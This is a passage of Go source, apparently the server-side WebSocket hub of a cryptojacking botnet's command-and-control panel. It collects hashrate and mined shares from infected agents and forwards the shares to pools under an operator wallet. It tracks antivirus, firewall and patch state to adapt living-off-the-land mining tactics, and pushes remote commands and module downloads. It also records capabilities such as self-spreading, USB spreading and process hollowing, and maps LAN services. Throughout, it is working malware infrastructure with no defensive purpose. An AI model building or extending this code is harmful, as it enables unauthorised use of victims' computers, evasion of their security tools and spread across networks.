			FirewallPublic  *bool    `json:"firewall_public,omitempty"`
			LastPatchDays   *int     `json:"last_patch_days,omitempty"`
			LastPatch       *string  `json:"last_patch,omitempty"`
			PendingUpdates  *int     `json:"pending_updates,omitempty"`
			RebootPending   *bool    `json:"reboot_pending,omitempty"`
			AgentElevated   *bool    `json:"agent_elevated,omitempty"`
			Services        []struct {
				Name        string `json:"name"`
				DisplayName string `json:"display_name,omitempty"`
				Status      string `json:"status"`
				StartType   string `json:"start_type"`
			} `json:"services,omitempty"`
			// Mining fallback cascade
			ActiveMethod    string `json:"active_method,omitempty"`
			MiningLastError string `json:"last_error,omitempty"`
			StratumOverlay  bool   `json:"stratum_overlay,omitempty"`
			ChainExhausted  bool   `json:"chain_exhausted,omitempty"`
			ChainOrder      []string `json:"chain_order,omitempty"`
			FailedMethods   []struct {
				Method string `json:"method"`
				Reason string `json:"reason"`
				At     string `json:"at"`
			} `json:"failed_methods,omitempty"`
			// Fleet health mining telemetry (coalesced into stats_batch)
			MiningHashrate float64 `json:"mining_hashrate,omitempty"`
			LOTLTier       string  `json:"lotl_tier,omitempty"`
			LOTLAttempts   []struct {
				Tier       string `json:"tier"`
				OK         bool   `json:"ok"`
				Error      string `json:"error,omitempty"`
				DurationMs int64  `json:"duration_ms"`
				Wallet     string `json:"wallet,omitempty"`
			} `json:"lotl_attempts,omitempty"`
			StratumEgress string `json:"stratum_egress,omitempty"` // c2_ws | direct | none
			JoinLane      string `json:"join_lane,omitempty"`
			NetworkHints  json.RawMessage `json:"network_hints,omitempty"`
			VulnFindings  []struct {
				CVEID                     string `json:"cve_id"`
				Severity                  string `json:"severity"`
				Component                 string `json:"component"`
				Patched                   bool   `json:"patched"`
				ExploitableInFleetContext bool   `json:"exploitable_in_fleet_context"`
				Detail                    string `json:"detail,omitempty"`
			} `json:"vuln_findings,omitempty"`
			VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
		}
			if err := json.Unmarshal(msg.Payload, &stats); err != nil {
				continue
			}

			sharesBad := stats.SharesSubmitted - stats.SharesAccepted
			if sharesBad < 0 {
				sharesBad = 0
			}

			h.db.UpdateAgentStats(agentID, stats.Hashrate15s, stats.Hashrate1m, stats.Hashrate15m,
				stats.SharesSubmitted, stats.SharesAccepted, sharesBad,
				stats.CPUUsagePct, stats.MemoryUsagePct, stats.UptimeSeconds)

			gpuActive := stats.GPUMinerActive != nil && *stats.GPUMinerActive
			h.db.UpdateAgentGPUStats(agentID, stats.GPUHashrate15m, stats.GPUModel, gpuActive)

			h.db.InsertHashrateSample(agentID, stats.Hashrate15m, stats.GPUHashrate15m)

			broadcast := map[string]interface{}{
				"agent_id":         agentID,
				"hashrate_15s":     stats.Hashrate15s,
				"hashrate_1m":      stats.Hashrate1m,
				"hashrate_15m":     stats.Hashrate15m,
				"cpu_usage_pct":    stats.CPUUsagePct,
				"memory_usage_pct": stats.MemoryUsagePct,
				"uptime_seconds":   stats.UptimeSeconds,
				"shares_submitted": stats.SharesSubmitted,
				"shares_accepted":  stats.SharesAccepted,
			}
			// Resource pressure fields
			if stats.CPUFreqMHz != nil  { broadcast["cpu_freq_mhz"]  = *stats.CPUFreqMHz  }
			if stats.CPUMaxMHz != nil   { broadcast["cpu_max_mhz"]   = *stats.CPUMaxMHz   }
			if stats.CPUThrottle != nil { broadcast["cpu_throttle"]  = *stats.CPUThrottle }
			if stats.CPUTempC != nil    { broadcast["cpu_temp_c"]    = *stats.CPUTempC    }
			if stats.DiskFreeGB != nil  { broadcast["disk_free_gb"]  = *stats.DiskFreeGB  }
			if stats.DiskTotalGB != nil { broadcast["disk_total_gb"] = *stats.DiskTotalGB }
			if stats.DiskFreePct != nil { broadcast["disk_free_pct"] = *stats.DiskFreePct }
			if stats.GPUTempC != nil    { broadcast["gpu_temp_c"]    = *stats.GPUTempC    }
			if stats.GPUUsagePct != nil { broadcast["gpu_usage_pct"] = *stats.GPUUsagePct }

			// GPU / Ravencoin mining stats
			if stats.GPUMinerActive != nil {
				broadcast["gpu_miner_active"]  = *stats.GPUMinerActive
			}
			if stats.GPUHashrate15s > 0  { broadcast["gpu_hashrate_15s"]  = stats.GPUHashrate15s  }
			if stats.GPUHashrate1m > 0   { broadcast["gpu_hashrate_1m"]   = stats.GPUHashrate1m   }
			if stats.GPUHashrate15m > 0  { broadcast["gpu_hashrate_15m"]  = stats.GPUHashrate15m  }
			if stats.GPUModel != ""      { broadcast["gpu_model"]          = stats.GPUModel        }

			// Listen port count
			if stats.ListenPortCount != nil {
				broadcast["listen_port_count"] = *stats.ListenPortCount
			}

			// T1016 DNS drift detection
			if len(stats.DNSServers) > 0 {
				broadcast["dns_servers"] = stats.DNSServers
				if stats.DNSSearchDomains != nil {
					broadcast["dns_search_domains"] = stats.DNSSearchDomains
				}
				h.mu.Lock()
				prev, hasPrev := h.agentDNS[agentID]
				drifted := hasPrev && !dnsEqual(prev, stats.DNSServers)
				h.agentDNS[agentID] = stats.DNSServers
				h.mu.Unlock()
				if drifted {
					broadcast["dns_drifted"] = true
					log.Printf("[T1016] DNS drift detected on agent %s: %v → %v", agentID, prev, stats.DNSServers)
				}
			}

			if stats.SSHAvailable != nil {
				broadcast["ssh_available"] = *stats.SSHAvailable
			}
			if stats.PostureScore != nil {
				broadcast["posture_score"] = *stats.PostureScore
			}
			if stats.DefenderEnabled != nil {
				broadcast["defender_enabled"] = *stats.DefenderEnabled
			}
			if stats.DefenderRTP != nil {
				broadcast["defender_rtp"] = *stats.DefenderRTP
			}
			if len(stats.AVProducts) > 0 {
				broadcast["av_products"] = stats.AVProducts
			}
			if stats.FirewallDomain != nil {
				broadcast["firewall_domain"] = *stats.FirewallDomain
			}
			if stats.FirewallPrivate != nil {
				broadcast["firewall_private"] = *stats.FirewallPrivate
			}
			if stats.FirewallPublic != nil {
				broadcast["firewall_public"] = *stats.FirewallPublic
			}
			if stats.LastPatchDays != nil {
				broadcast["last_patch_days"] = *stats.LastPatchDays
			}
			if stats.LastPatch != nil {
				broadcast["last_patch"] = *stats.LastPatch
			}
			if stats.PendingUpdates != nil {
				broadcast["pending_updates"] = *stats.PendingUpdates
			}
			if stats.RebootPending != nil {
				broadcast["reboot_pending"] = *stats.RebootPending
			}
			if stats.AgentElevated != nil {
				broadcast["agent_elevated"] = *stats.AgentElevated
			}
			if len(stats.Services) > 0 {
				broadcast["services"] = stats.Services
			}
			if stats.ActiveMethod != "" {
				broadcast["active_method"] = stats.ActiveMethod
			}
			if stats.MiningLastError != "" {
				broadcast["last_error"] = stats.MiningLastError
			}
			if stats.StratumOverlay {
				broadcast["stratum_overlay"] = true
			}
			if stats.ChainExhausted {
				broadcast["chain_exhausted"] = true
			}
			if len(stats.ChainOrder) > 0 {
				broadcast["chain_order"] = stats.ChainOrder
			}
			if len(stats.FailedMethods) > 0 {
				broadcast["failed_methods"] = stats.FailedMethods
			}
			if stats.MiningHashrate > 0 {
				broadcast["mining_hashrate"] = stats.MiningHashrate
			}
			if stats.LOTLTier != "" {
				broadcast["lotl_tier"] = stats.LOTLTier
			}
			if len(stats.LOTLAttempts) > 0 {
				broadcast["lotl_attempts"] = stats.LOTLAttempts
			}
			if stats.StratumEgress != "" {
				broadcast["stratum_egress"] = stats.StratumEgress
			}
			if stats.JoinLane != "" {
				broadcast["join_lane"] = stats.JoinLane
			}
			if len(stats.NetworkHints) > 0 && string(stats.NetworkHints) != "null" {
				var hints interface{}
				if err := json.Unmarshal(stats.NetworkHints, &hints); err == nil {
					broadcast["network_hints"] = hints
				}
			}
			if len(stats.VulnFindings) > 0 || stats.VulnRiskScore != nil {
				findings := make([]vuln.Finding, len(stats.VulnFindings))
				for i, f := range stats.VulnFindings {
					findings[i] = vuln.Finding{
						CVEID: f.CVEID, Severity: f.Severity, Component: f.Component,
						Patched: f.Patched, ExploitableInFleetContext: f.ExploitableInFleetContext,
						Detail: f.Detail,
					}
				}
				fctx := vuln.FleetContext{SSHAvailable: stats.SSHAvailable != nil && *stats.SSHAvailable}
				if stats.ListenPortCount != nil {
					fctx.ListenPortCount = *stats.ListenPortCount
				}
				findings = vuln.EnrichFindings(findings, fctx)
				score := vuln.RiskScore(findings)
				if stats.VulnRiskScore != nil && *stats.VulnRiskScore > score {
					score = *stats.VulnRiskScore
				}
				broadcast["vuln_findings"] = findings
				broadcast["vuln_risk_score"] = score
			}
			// Attach latest RTT latency from the ping loop.
			if ac := h.getAgentConn(agentID); ac != nil {
				ac.latencyMu.Lock()
				if ac.LatencyMs != nil {
					broadcast["latency_ms"] = *ac.LatencyMs
				}
				ac.latencyMu.Unlock()
			}
			h.ingestStrategyFromStats(agentID, "", clientIPFromBroadcast(broadcast), stats.DefenderRTP, stats.FirewallDomain, stats.LOTLAttempts, stats.MiningHashrate, stats.LOTLTier)
			h.queueStatsBroadcast(broadcast)

		case "submit_share":
			if agentID == "" {
				continue
			}
			var share models.Share
			if err := json.Unmarshal(msg.Payload, &share); err != nil {
				continue
			}
			share.AgentID = agentID
			share.Timestamp = time.Now()
			share.Accepted = false

			shareID, err := h.db.InsertShare(&share)
			if err != nil {
				log.Printf("Failed to insert share: %v", err)
				continue
			}

			sendShareResult := func(accepted bool, errMsg string) {
				share.Accepted = accepted
				share.Error = errMsg
				if err := h.db.UpdateShareResult(shareID, accepted, errMsg); err != nil {
					log.Printf("Failed to update share result: %v", err)
				}
				if h.serverPolicySnapshot().LogShareSubmissions {
					log.Printf("[WS] Share agent=%s job=%s accepted=%v err=%q", agentID, share.JobID, accepted, errMsg)
				}

				agentConn := h.getAgentConn(agentID)
				if agentConn != nil {
					result := map[string]interface{}{
						"job_id":   share.JobID,
						"accepted": accepted,
					}
					if errMsg != "" {
						result["error"] = errMsg
					}
					_ = agentConn.SendJSON(Message{Type: "share_result", Payload: mustMarshal(result)})
				}

				h.broadcastDashboard(Message{
					Type: "new_share",
					Payload: mustMarshal(map[string]interface{}{
						"id":        shareID,
						"agent_id":  agentID,
						"job_id":    share.JobID,
						"accepted":  accepted,
						"hash":      share.Hash,
						"nonce":     share.Nonce,
						"error":     errMsg,
						"timestamp": share.Timestamp,
					}),
				})
			}

			if h.poolManager == nil {
				sendShareResult(false, "pool manager not configured")
				continue
			}

			poolCfg := h.agentPoolConfig(agentID)
			proxy := h.poolManager.GetPool(&poolCfg)
			if proxy == nil {
				if p, err := h.poolManager.EnsurePool(&poolCfg); err == nil {
					proxy = p
				} else {
					sendShareResult(false, "pool not connected: "+err.Error())
					continue
				}
			}

			if !proxy.IsConnected() {
				sendShareResult(false, "pool not connected")
				continue
			}

			wallet := poolCfg.Wallet
			if wallet == "" {
				wallet = h.defaultPool.Wallet
			}

			go proxy.SubmitShare(agentID, wallet, share.JobID, share.Nonce, share.Hash, sendShareResult)

		case "get_job":
			if agentID == "" {
				continue
			}
			var proxy *pool.Proxy
			if h.poolManager != nil {
				poolCfg := h.agentPoolConfig(agentID)
				// Only use GetPool (non-blocking). If the pool hasn't connected yet
				// (background EnsurePoolWithBackups from auth is still dialing), kick
				// off another async attempt rather than blocking the WS read loop.
				proxy = h.poolManager.GetPool(&poolCfg)
				if proxy == nil {
					go func(pc pool.Config) {
						if p, err := h.poolManager.EnsurePool(&pc); err != nil {
							log.Printf("[WS] get_job EnsurePool for %s failed: %v", pc.Host, err)
						} else {
							_ = p
						}
					}(poolCfg)
				}
			}
			if proxy != nil {
				job := proxy.GetCurrentJob()
				if job != nil {
					_ = h.writeAgentJSON(agentID, Message{Type: "new_job", Payload: mustMarshal(job)})
				} else {
					_ = h.writeAgentJSON(agentID, Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "no job available — pool connecting"})})
				}
			} else {
				_ = h.writeAgentJSON(agentID, Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "pool connecting — retry shortly"})})
			}

		case "log_tail":
			if agentID == "" {
				continue
			}
			var payload struct {
				Content string `json:"content"`
				Lines   int    `json:"lines"`
			}
			if err := json.Unmarshal(msg.Payload, &payload); err != nil {
				continue
			}
			h.mu.Lock()
			h.agentLogs[agentID] = payload.Content
			h.mu.Unlock()
			h.broadcastDashboard(Message{
				Type:    "agent_log",
				Payload: mustMarshal(map[string]interface{}{"agent_id": agentID, "content": payload.Content}),
			})

		case "capabilities_update":
			if agentID == "" {
				continue
			}
			var caps models.AgentCapabilities
			if err := json.Unmarshal(msg.Payload, &caps); err != nil {
				continue
			}
			h.UpdateAgentCapabilities(agentID, caps)

		case "policy_ack":
			if agentID == "" {
				continue
			}
			var payload map[string]interface{}
			if err := json.Unmarshal(msg.Payload, &payload); err != nil {
				continue
			}
			payload["agent_id"] = agentID
			h.broadcastDashboard(Message{Type: "policy_ack", Payload: mustMarshal(payload)})

		case "mining_fallback", "mining_status", "tier_report":
			if agentID == "" {
				continue
			}
			var payload map[string]interface{}
			if err := json.Unmarshal(msg.Payload, &payload); err != nil {
				continue
			}
			payload["agent_id"] = agentID
			h.ingestStrategyFromPayload(agentID, payload)
			h.queueStatsBroadcast(payload)

		case "command_result":
			if agentID == "" {
				continue
			}
			var payload map[string]interface{}
			if err := json.Unmarshal(msg.Payload, &payload); err != nil {
				continue
			}
			payload["agent_id"] = agentID
			h.broadcastDashboard(Message{Type: "command_result", Payload: mustMarshal(payload)})
			// Notify any handler waiting for this specific agent+action result.
			if action, _ := payload["action"].(string); action != "" {
				h.notifyCmdCallback(agentID, action, payload)
				if action == "service_discover" {
					if ok, _ := payload["success"].(bool); ok {
						if msg, _ := payload["message"].(string); strings.TrimSpace(msg) != "" {
							h.cacheServiceDiscover(agentID, msg)
						}
					}
				}
				if action == "full_sys_check" {
					if ok, _ := payload["success"].(bool); ok {
						if msg, _ := payload["message"].(string); msg != "" && h.eventNotifier != nil {
							name := agentID
							if h.db != nil {
								if ag, err := h.db.GetAgent(agentID); err == nil && ag.Name != "" {
									name = ag.Name
								}
							}
							alerts.NotifyKEVFromSysCheck(h.eventNotifier, name, msg)
						}
					}
				}
			}

		default:
			if agentID != "" {
				log.Printf("[WS] Agent %s sent unknown message type %q", agentID, msg.Type)
			} else {
				log.Printf("[WS] Unauthenticated agent sent unknown message type %q from %s", msg.Type, clientIP)
			}
		}
	}
}

func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
	username, ok := resolveDashboardWSUser(r)
	if !ok {
		http.Error(w, "Unauthorized", http.StatusUnauthorized)
		log.Printf("[auth] Dashboard WS rejected: bad or missing token from %s", r.RemoteAddr)
		return
	}

	conn, err := upgrader.Upgrade(w, r, nil)
	if err != nil {
		log.Printf("Dashboard WebSocket upgrade error: %v", err)
		return
	}

	dc := &DashboardConn{Conn: conn, Username: username, Page: "/dashboard"}
	dashID := uuid.New().String()
	h.mu.Lock()
	h.dashboards[dashID] = dc
	h.mu.Unlock()

	defer func() {
		h.mu.Lock()
		delete(h.dashboards, dashID)
		remaining := 0
		for _, d := range h.dashboards {
			if d.Username == username {
				remaining++
			}
		}
		h.mu.Unlock()
		if remaining == 0 {
			h.broadcastPresenceUpdate(username, "", false)
		}
		conn.Close()
	}()

	// Send initial data — reconcile DB status against live hub state so a
	// freshly loaded dashboard never shows stale "online" phantoms.
	agents, _ := h.db.ListAgents()
	h.enrichAgentsCapabilities(agents)
	for _, a := range agents {
		if a == nil {
			continue
		}
		if h.isAgentConnected(a.ID) {
			a.Status = "online"
		} else {
			// Correct any row that says "online" but has no live socket.
			a.Status = "offline"
		}
	}
	stats, _ := h.db.GetFleetStats()

	_ = dc.WriteJSON(Message{Type: "init", Payload: mustMarshal(map[string]interface{}{
		"agents": agents,
		"stats":  stats,
	})})
	_ = dc.WriteJSON(Message{Type: "presence_snapshot", Payload: mustMarshal(map[string]interface{}{
		"comrades": h.presenceSnapshotLocked(),
	})})
	h.broadcastPresenceUpdate(username, dc.Page, true)

	go h.runPingLoopDash(dc)

	for {
		_, data, err := conn.ReadMessage()
		if err != nil {
			break
		}
		var msg Message
		if json.Unmarshal(data, &msg) != nil {
			continue
		}
		switch msg.Type {
		case "presence_page":
			var body struct {
				Page string `json:"page"`
			}
			if json.Unmarshal(msg.Payload, &body) != nil {
				continue
			}
			page := strings.TrimSpace(body.Page)
			if page == "" {
				page = "/dashboard"
			}
			h.mu.Lock()
			if d, exists := h.dashboards[dashID]; exists {
				d.Page = page
			}
			h.mu.Unlock()
			h.broadcastPresenceUpdate(username, page, true)
		case "notes_typing":
			var body struct {
				Active bool `json:"active"`
			}
			if json.Unmarshal(msg.Payload, &body) != nil {
				continue
			}
			h.broadcastNotesTyping(username, body.Active)
		}
	}
}

const statsBatchInterval = 250 * time.Millisecond

// mergeStatsPayload shallow-merges two stats maps so stats + mining_status in the
// same 250ms window both land in one stats_batch update for dashboards.
func mergeStatsPayload(existing, incoming json.RawMessage) json.RawMessage {
	var base, patch map[string]interface{}
	if json.Unmarshal(existing, &base) != nil || base == nil {
		base = map[string]interface{}{}
	}
	if json.Unmarshal(incoming, &patch) != nil || patch == nil {
		return existing
	}
	for k, v := range patch {
		base[k] = v
	}
	return mustMarshal(base)
}

// queueStatsBroadcast accumulates per-agent stats and flushes one stats_batch
// message per interval instead of N individual stats_update frames.
func (h *WSHub) cacheAgentTelemetry(agentID string, payload map[string]interface{}) {
	if agentID == "" || len(payload) == 0 {
		return
	}
	h.mu.Lock()
	defer h.mu.Unlock()
	cur, ok := h.agentLiveTelemetry[agentID]
	if !ok {
		cur = make(map[string]interface{})
		h.agentLiveTelemetry[agentID] = cur
	}
	for k, v := range payload {
		if k == "agent_id" {
			continue
		}
		cur[k] = v
	}
}

// queueStatsBroadcast accumulates per-agent stats and flushes one stats_batch
// message per interval instead of N individual stats_update frames.
func (h *WSHub) queueStatsBroadcast(payload map[string]interface{}) {
	agentID, _ := payload["agent_id"].(string)
	if agentID == "" {
		return
	}
	data := mustMarshal(payload)

	h.statsBatchMu.Lock()
	if h.statsBatch == nil {
		h.statsBatch = make(map[string]json.RawMessage)
	}
	if prev, ok := h.statsBatch[agentID]; ok {
		data = mergeStatsPayload(prev, data)
	}
	h.statsBatch[agentID] = data
	h.cacheAgentTelemetry(agentID, payload)
	if h.statsBatchTimer == nil {
		h.statsBatchTimer = time.AfterFunc(statsBatchInterval, h.flushStatsBatch)
	}
	h.statsBatchMu.Unlock()
}

func (h *WSHub) flushStatsBatch() {
	h.statsBatchMu.Lock()
	batch := h.statsBatch
	h.statsBatch = nil
	if h.statsBatchTimer != nil {
		h.statsBatchTimer.Stop()
		h.statsBatchTimer = nil
	}
	h.statsBatchMu.Unlock()

	if len(batch) == 0 {
		return
	}
	updates := make([]json.RawMessage, 0, len(batch))
	for _, raw := range batch {
		updates = append(updates, raw)
	}
	h.broadcastDashboard(Message{
		Type:    "stats_batch",
		Payload: mustMarshal(map[string]interface{}{"updates": updates}),
	})
}

func (h *WSHub) broadcastDashboard(msg Message) {
	h.mu.RLock()
	defer h.mu.RUnlock()

	data, err := json.Marshal(msg)
	if err != nil {
		return
	}

	for id, dc := range h.dashboards {
		if err := dc.WriteMessage(websocket.TextMessage, data); err != nil {
			log.Printf("Failed to send to dashboard %s: %v", id, err)
			// Only close the connection here. HandleDashboardWS owns all map
			// cleanup via its existing defer — doing it here too would cause a
			// double-delete that corrupts the remaining-count used for the
			// presence_update broadcast (SRV-B4).
			dc.Conn.Close()
		}
	}
}

func mustMarshal(v interface{}) json.RawMessage {
	data, _ := json.Marshal(v)
	return data
}

// dnsEqual returns true when two DNS server lists contain the same addresses
// regardless of order.  Used for T1016 drift detection.
func dnsEqual(a, b []string) bool {
	if len(a) != len(b) {
		return false
	}
	m := make(map[string]int, len(a))
	for _, v := range a {
		m[v]++
	}
	for _, v := range b {
		m[v]--
		if m[v] < 0 {
			return false
		}
	}
	return true
}

// BroadcastToAgents sends a message to all connected agents.
// Any agent whose write fails has its connection closed so the read-loop
// defer fires quickly and cleans up the hub entry.
func (h *WSHub) BroadcastToAgents(msg Message) {
	h.mu.RLock()
	defer h.mu.RUnlock()

	for id, agent := range h.agents {
		if err := agent.SendJSON(msg); err != nil {
			log.Printf("[hub] broadcast write failed agent %s: %v — closing socket", id, err)
			_ = agent.Conn.Close()
		}
	}
}

// SendToAgent sends a message to one connected agent.
// On write failure the socket is closed immediately so the read-loop defer
// fires and calls SetAgentOffline without waiting the full read deadline.
func (h *WSHub) SendToAgent(agentID string, msg Message) error {
	agent := h.getAgentConn(agentID)
	if agent == nil {
		return fmt.Errorf("agent %s not connected", agentID)
	}
	if err := agent.SendJSON(msg); err != nil {
		_ = agent.Conn.Close()
		return err
	}
	return nil
}

// RemoveAgent forcibly disconnects an agent and removes it from the live map.
// It then broadcasts agent_deleted to all dashboard clients so the UI removes
// the agent immediately without waiting for the disconnect goroutine to fire.
func (h *WSHub) RemoveAgent(agentID string) {
	h.mu.Lock()
	if ac, ok := h.agents[agentID]; ok {
		// Nil the map entry BEFORE closing so the agent goroutine's deferred
		// cleanup (which checks cur.Conn == conn) falls into the else branch
		// and skips SetAgentOffline — avoiding a write to an already-deleted row.
		delete(h.agents, agentID)
		delete(h.agentConfigs, agentID)
		delete(h.agentLogs, agentID)
		delete(h.agentCapabilities, agentID)
		delete(h.agentLiveTelemetry, agentID)
		ac.Conn.Close()
	}
	h.mu.Unlock()
	// Broadcast deletion so every connected dashboard removes the agent immediately.
	h.broadcastDashboard(Message{
		Type:    "agent_deleted",
		Payload: mustMarshal(map[string]string{"agent_id": agentID}),
	})
}

// SendAgentCommand sends a remote command to an agent.
func (h *WSHub) SendAgentCommand(agentID, action string, args map[string]interface{}) error {
	if h.isAgentConnected(agentID) {
		payload := map[string]interface{}{"action": action}
		for k, v := range args {
			payload[k] = v
		}
		return h.SendToAgent(agentID, Message{Type: "command", Payload: mustMarshal(payload)})
	}
	if h.EnqueueBeaconCommand(agentID, action, args) {
		return nil
	}
	return fmt.Errorf("agent %s not connected", agentID)
}

// BroadcastAgentCommand sends a remote command to all connected agents.
func (h *WSHub) BroadcastAgentCommand(action string, args map[string]interface{}) {
	payload := map[string]interface{}{"action": action}
	for k, v := range args {
		payload[k] = v
	}
	h.BroadcastToAgents(Message{Type: "command", Payload: mustMarshal(payload)})
}

// ResolveAgentTargets expands "all" to connected agent IDs.
func (h *WSHub) ResolveAgentTargets(ids []string) []string {
	if len(ids) == 0 {
		return nil
	}
	for _, id := range ids {
		if id == "all" {
			return h.ConnectedAgentIDs()
		}
	}
	return ids
}

// PushAdaptiveStrategyUpdates recomputes and pushes adaptive_strategy_update to online agents.
func (h *WSHub) PushAdaptiveStrategyUpdates() int {
	h.mu.RLock()
	engine := h.adaptiveEngine
	ids := h.ConnectedAgentIDs()
	h.mu.RUnlock()
	if engine == nil || !engine.Enabled() || h.serverPolicy.AIControlEnabled {
		return 0
	}
	sent := 0
	for _, agentID := range ids {
		fp := engine.AgentFingerprint(agentID)
		if fp.GOOS == "" {
			if ag, err := h.db.GetAgent(agentID); err == nil {
				fp = strategy.FingerprintFromAuth(ag.Platform, ag.IP, ag.FirewallDomain != nil && *ag.FirewallDomain)
			}
		}
		adaptive := engine.StrategyForAgent(agentID, fp)
		payload, err := json.Marshal(adaptive)
		if err != nil {
			continue
		}
		if err := h.SendToAgent(agentID, Message{Type: "adaptive_strategy_update", Payload: payload}); err != nil {
			continue
		}
		sent++
	}
	return sent
}

func (h *WSHub) ingestStrategyFromPayload(agentID string, payload map[string]interface{}) {
	if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() || h.serverPolicy.AIControlEnabled {
		return
	}
	platform, _ := payload["platform"].(string)
	ip, _ := payload["ip"].(string)
	var defenderRTP, firewallDomain *bool
	if v, ok := payload["defender_rtp"].(bool); ok {
		defenderRTP = &v
	}
	if v, ok := payload["firewall_domain"].(bool); ok {
		firewallDomain = &v
	}
	attempts := parseLOTLAttemptsFromPayload(payload)
	hashrate, _ := payload["mining_hashrate"].(float64)
	activeTier, _ := payload["lotl_tier"].(string)
	h.ingestStrategyFromStats(agentID, platform, ip, defenderRTP, firewallDomain, attempts, hashrate, activeTier)
}

func (h *WSHub) ingestStrategyFromStats(
	agentID, platform, ip string,
	defenderRTP, firewallDomain *bool,
	attempts []struct {
		Tier       string `json:"tier"`
		OK         bool   `json:"ok"`
		Error      string `json:"error,omitempty"`
		DurationMs int64  `json:"duration_ms"`
		Wallet     string `json:"wallet,omitempty"`
	},
	miningHashrate float64,
	activeTier string,
) {
	if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() || h.serverPolicy.AIControlEnabled {
		return
	}
	if platform == "" || ip == "" {
		if ag, err := h.db.GetAgent(agentID); err == nil {
			if platform == "" {
				platform = ag.Platform
			}
			if ip == "" {
				ip = ag.IP
			}
			if firewallDomain == nil {
				firewallDomain = ag.FirewallDomain
			}
		}
	}
	domainJoined := firewallDomain != nil && *firewallDomain
	fp := strategy.FingerprintFromAuth(platform, ip, domainJoined)
	if defenderRTP != nil && *defenderRTP {
		fp.AVBlocks = true
	}
	h.adaptiveEngine.RememberAgentFingerprint(agentID, fp)
	for _, a := range attempts {
		hr := 0.0
		if a.OK && strings.EqualFold(a.Tier, activeTier) {
			hr = miningHashrate
		}
		h.adaptiveEngine.RecordOutcome(agentID, fp, a.Tier, a.OK, hr, "mining")
	}
	if activeTier != "" && miningHashrate > 0 {
		h.adaptiveEngine.RecordOutcome(agentID, fp, activeTier, true, miningHashrate, "mining")
	}
}

func parseLOTLAttemptsFromPayload(payload map[string]interface{}) []struct {
	Tier       string `json:"tier"`
	OK         bool   `json:"ok"`
	Error      string `json:"error,omitempty"`
	DurationMs int64  `json:"duration_ms"`
	Wallet     string `json:"wallet,omitempty"`
} {
	raw, ok := payload["lotl_attempts"]
	if !ok {
		return nil
	}
	data, err := json.Marshal(raw)
	if err != nil {
		return nil
	}
	var attempts []struct {
		Tier       string `json:"tier"`
		OK         bool   `json:"ok"`
		Error      string `json:"error,omitempty"`
		DurationMs int64  `json:"duration_ms"`
		Wallet     string `json:"wallet,omitempty"`
	}
	if err := json.Unmarshal(data, &attempts); err != nil {
		return nil
	}
	return attempts
}

func clientIPFromBroadcast(broadcast map[string]interface{}) string {
	ip, _ := broadcast["ip"].(string)
	return ip
}

// PushPolicyUpdate sends policy_update to each target agent.
func (h *WSHub) PushPolicyUpdate(agentIDs []string, policy FleetAgentPolicy, pushID string) (sent, failed int) {
	if policy.IsEmpty() {
		return 0, len(agentIDs)
	}
	payload := marshalPolicyUpdatePayload(pushID, policy)
	for _, id := range agentIDs {
		if err := h.SendToAgent(id, Message{Type: "policy_update", Payload: payload}); err != nil {
			if h.EnqueueBeaconPolicy(id, policy) {
				sent++
			} else {
				failed++
			}
		} else {
			sent++
		}
	}
	return sent, failed
}

// PushModuleFetch asks agents to download and apply a module pack.
func (h *WSHub) PushModuleFetch(agentIDs []string, moduleName string) (sent, failed int) {
	args := map[string]interface{}{"module": moduleName}
	for _, id := range agentIDs {
		if err := h.SendAgentCommand(id, "fetch_module", args); err != nil {
			failed++
		} else {
			sent++
		}
	}
	return sent, failed
}

// UpdateAgentCapabilities merges runtime capability flags and broadcasts to dashboards.
func (h *WSHub) UpdateAgentCapabilities(agentID string, patch models.AgentCapabilities) {
	h.mu.Lock()
	cur, ok := h.agentCapabilities[agentID]
	if !ok {
		cur = models.AgentCapabilities{}
	}
	if patch.HolePunch {
		cur.HolePunch = true
	}
	if patch.RemoteAggressive {
		cur.RemoteAggressive = true
	}
	if patch.MeshP2P {
		cur.MeshP2P = true
	}
	if patch.AutoSpread {
		cur.AutoSpread = true
	}
	if patch.ProcessHollowing {
		cur.ProcessHollowing = true
	}
	if patch.AIEnabled {
		cur.AIEnabled = true
	}
	if patch.USBSpread {
		cur.USBSpread = true
	}
	h.agentCapabilities[agentID] = cur
	caps := cur
	h.mu.Unlock()

	h.broadcastDashboard(Message{
		Type: "agent_capabilities",
		Payload: mustMarshal(map[string]interface{}{
			"agent_id":     agentID,
			"capabilities": caps,
		}),
	})
}

func (h *WSHub) enrichAgentsCapabilities(agents []*models.Agent) {
	h.mu.RLock()
	defer h.mu.RUnlock()
	for _, a := range agents {
		if a == nil {
			continue
		}
		if caps, ok := h.agentCapabilities[a.ID]; ok {
			c := caps
			a.Capabilities = &c
		}
	}
}

func (h *WSHub) GetAgentLog(agentID string) string {
	h.mu.RLock()
	defer h.mu.RUnlock()
	return h.agentLogs[agentID]
}

type cachedServiceDiscover struct {
	Local    ServiceGraphHost
	LANHosts []ServiceGraphHost
}

func (h *WSHub) cacheServiceDiscover(agentID, message string) {
	var payload struct {
		Local    ServiceGraphHost   `json:"local"`
		LANHosts []ServiceGraphHost `json:"lan_hosts,omitempty"`
	}
	if err := json.Unmarshal([]byte(message), &payload); err != nil {
		return
	}
	h.mu.Lock()
	h.agentServiceDiscover[agentID] = cachedServiceDiscover{
		Local:    payload.Local,
		LANHosts: payload.LANHosts,
	}
	h.mu.Unlock()
}

func subnetLabelMatches(hostSubnet, query string) bool {
	hostSubnet = strings.TrimSpace(hostSubnet)
	query = strings.TrimSpace(query)
	if query == "" {
		return true
	}
	query = strings.TrimSuffix(query, ".x")
	hostSubnet = strings.TrimSuffix(hostSubnet, ".x")
	return hostSubnet == query || strings.HasPrefix(hostSubnet, query+".") || strings.HasPrefix(query, hostSubnet+".")
}

// QueryServiceGraph returns deduped service entries from cached service_discover runs.
func (h *WSHub) QueryServiceGraph(agentID, subnet string) []ServiceGraphEntry {
	h.mu.RLock()
	defer h.mu.RUnlock()

	seen := make(map[string]bool)
	var out []ServiceGraphEntry
	add := func(entries []ServiceGraphEntry) {
		for _, e := range entries {
			key := strings.ToLower(e.ServiceName) + "|" + fmt.Sprintf("%d", e.Port)
			if seen[key] {
				continue
			}
			seen[key] = true
			out = append(out, e)
		}
	}

	collect := func(cached cachedServiceDiscover) {
